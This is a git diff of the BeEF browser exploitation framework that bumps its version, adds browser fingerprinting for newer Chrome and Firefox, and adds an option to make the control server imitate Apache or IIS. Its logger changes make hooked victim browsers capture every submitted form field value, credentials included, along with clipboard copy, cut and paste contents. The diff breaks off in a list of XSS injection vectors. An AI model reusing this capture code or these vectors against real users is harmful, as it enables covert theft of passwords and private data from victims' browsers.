diff --git a/Gemfile b/Gemfile index 99b911ef9..2c7b9651e 100644 --- a/Gemfile +++ b/Gemfile @@ -49,6 +49,8 @@ if ENV['BEEF_TEST'] # sudo apt-get install libxslt-dev libxml2-dev # sudo port install libxml2 libxslt gem "capybara" + #RESTful API tests/generic command module tests + gem "rest-client", "~> 1.6.7" end source "http://rubygems.org" diff --git a/VERSION b/VERSION index 8280a67a7..aafd485c3 100644 --- a/VERSION +++ b/VERSION @@ -14,4 +14,4 @@ # limitations under the License. # -0.4.3.3-alpha +0.4.3.4-alpha diff --git a/config.yaml b/config.yaml index baca65fa8..39103d0f8 100644 --- a/config.yaml +++ b/config.yaml @@ -16,7 +16,7 @@ # BeEF Configuration file beef: - version: '0.4.3.3-alpha' + version: '0.4.3.4-alpha' debug: false restrictions: @@ -37,11 +37,18 @@ beef: hook_file: "/hook.js" hook_session_name: "BEEFHOOK" session_cookie_name: "BEEFSESSION" + + # Prefer WebSockets over XHR-polling when possible. websocket: enable: true secure: false # use WebSocketSecure port: 11989 + # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) + web_server_imitation: + enable: false + type: "apache" #supported: apache, iis + database: # For information on using other databases please read the # README.databases file diff --git a/core/api.rb b/core/api.rb index 3ad1bf391..0d845d02d 100644 --- a/core/api.rb +++ b/core/api.rb @@ -60,10 +60,9 @@ module BeEF # @param [String] method the method of the class # @param [Array] params an array of parameters that need to be matched # @return [Boolean] whether or not the owner is registered - # @todo Change the param matching to use the new :is_matched_params?() method - Issue #479 def registered?(owner, c, method, params = []) @registry.each{|r| - if r['owner'] == owner and r['class'] == c and r['method'] == method and params == r['params'] + if r['owner'] == owner and r['class'] == c and r['method'] == method and self.is_matched_params?(r, params) return true end } diff --git a/core/bootstrap.rb b/core/bootstrap.rb index 821df91ec..06da83019 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -19,6 +19,11 @@ module BeEF end end +## @note Include the BeEF router +require 'core/main/router/router' +require 'core/main/router/api' + + ## @note Include http server functions for beef require 'core/main/server' require 'core/main/handlers/modules/beefjs' diff --git a/core/main/client/browser.js b/core/main/client/browser.js index d831892b2..bbc4979d0 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -48,9 +48,8 @@ beef.browser = { * Returns true if IE8. * @example: beef.browser.isIE8() */ - isIE8: function() { - $j("body").append(''); - return ($j('#beefiecheck').hasClass('ie8'))?true:false; + isIE8: function() { + return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !!document.documentMode && !!window.XDomainRequest && !window.performance; }, /** @@ -58,8 +57,7 @@ beef.browser = { * @example: beef.browser.isIE9() */ isIE9: function() { - $j("body").append(''); - return ($j('#beefiecheck').hasClass('ie9'))?true:false; + return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !!document.documentMode && !!window.XDomainRequest && !!window.performance; }, /** @@ -166,12 +164,20 @@ beef.browser = { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null; }, + /** + * Returns true if FF12 +* @example: beef.browser.isFF12() + */ + isFF12: function() { +return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null; + }, + /** * Returns true if FF. * @example: beef.browser.isFF() */ isFF: function() { - return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11(); + return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12(); }, /** @@ -302,12 +308,28 @@ beef.browser = { return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==17)?true:false); }, + /** + * Returns true if Chrome 18. + * @example: beef.browser.isC18() + */ + isC18: function() { + return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==18)?true:false); + }, + + /** + * Returns true if Chrome 19. + * @example: beef.browser.isC19() + */ + isC19: function() { + return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==19)?true:false); + }, + /** * Returns true if Chrome. * @example: beef.browser.isC() */ isC: function() { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17(); + return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19(); }, /** @@ -371,7 +393,9 @@ beef.browser = { C14: this.isC14(), // Chrome 14 C15: this.isC15(), // Chrome 15 C16: this.isC16(), // Chrome 16 - C17: this.isC17(), // Chrome 16 + C17: this.isC17(), // Chrome 17 + C18: this.isC18(), // Chrome 18 + C19: this.isC19(), // Chrome 19 C: this.isC(), // Chrome any version FF2: this.isFF2(), // Firefox 2 @@ -386,6 +410,7 @@ beef.browser = { FF9: this.isFF9(), // Firefox 9 FF10: this.isFF10(), // Firefox 10 FF11: this.isFF11(), // Firefox 11 + FF12: this.isFF12(), // Firefox 12 FF: this.isFF(), // Firefox any version IE6: this.isIE6(), // Internet Explorer 6 @@ -427,7 +452,8 @@ beef.browser = { if (this.isC15()) { return '15' }; // Chrome 15 if (this.isC16()) { return '16' }; // Chrome 16 if (this.isC17()) { return '17' }; // Chrome 17 - + if (this.isC18()) { return '18' }; // Chrome 18 + if (this.isC19()) { return '19' }; // Chrome 19 if (this.isFF2()) { return '2' }; // Firefox 2 if (this.isFF3()) { return '3' }; // Firefox 3 @@ -441,7 +467,7 @@ beef.browser = { if (this.isFF9()) { return '9' }; // Firefox 9 if (this.isFF10()) { return '10' }; // Firefox 10 if (this.isFF11()) { return '11' }; // Firefox 11 - + if (this.isFF12()) { return '12' }; // Firefox 12 if (this.isIE6()) { return '6' }; // Internet Explorer 6 if (this.isIE7()) { return '7' }; // Internet Explorer 7 diff --git a/core/main/client/logger.js b/core/main/client/logger.js index 0cf765f03..49f75ef1f 100644 --- a/core/main/client/logger.js +++ b/core/main/client/logger.js @@ -58,9 +58,11 @@ beef.logger = { * Starts the logger */ start: function() { + this.running = true; var d = new Date(); this.time = d.getTime(); + $j(document).keypress( function(e) { beef.logger.keypress(e); } ).click( @@ -71,9 +73,18 @@ beef.logger = { ).blur( function(e) { beef.logger.win_blur(e); } ); - /*$j('form').submit( + $j('form').submit( function(e) { beef.logger.submit(e); } - );*/ + ); + document.body.oncopy = function() { + setTimeout("beef.logger.copy();", 10); + } + document.body.oncut = function() { + setTimeout("beef.logger.cut();", 10); + } + document.body.onpaste = function() { + beef.logger.paste(); + } }, /** @@ -137,11 +148,57 @@ beef.logger = { }, /** - * Is called whenever a form is submitted + * Copy function fires when the user copies data to the clipboard. + */ + copy: function(x) { + try { + var c = new beef.logger.e(); + c.type = 'copy'; + c.data = clipboardData.getData("Text"); + this.events.push(c); + } catch(e) {} + }, + + /** + * Cut function fires when the user cuts data to the clipboard. + */ + cut: function() { + try { + var c = new beef.logger.e(); + c.type = 'cut'; + c.data = clipboardData.getData("Text"); + this.events.push(c); + } catch(e) {} + }, + + /** + * Paste function fires when the user pastes data from the clipboard. + */ + paste: function() { + try { + var c = new beef.logger.e(); + c.type = 'paste'; + c.data = clipboardData.getData("Text"); + this.events.push(c); + } catch(e) {} + }, + + /** + * Submit function fires whenever a form is submitted * TODO: Cleanup this function */ submit: function(e) { - /*this.events.push('Form submission: Action: '+$j(e.target).attr('action')+' Method: '+$j(e.target).attr('method')+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target));*/ + try { + var f = new beef.logger.e(); + var values = ""; + f.type = 'submit'; + f.target = beef.logger.get_dom_identifier(e.target); + for (var i = 0; i < e.target.elements.length; i++) { + values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n"; + } + f.data = 'Action: '+$j(e.target).attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values; + this.events.push(f); + } catch(e) {} }, /** diff --git a/core/main/client/net/xssrays.js b/core/main/client/net/xssrays.js index 2db324759..f680c9ea9 100644 --- a/core/main/client/net/xssrays.js +++ b/core/main/client/net/xssrays.js @@ -49,20 +49,27 @@ beef.net.xssrays = { //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O vectors: [ -// {input:"',XSS,'", name: 'Standard DOM based injection single', browser: 'ALL',url:true,form:true,path:true}, -// {input:'",XSS,"', name: 'Standard DOM based injection double', browser: 'ALL',url:true,form:true,path:true}, -// {input: '\'>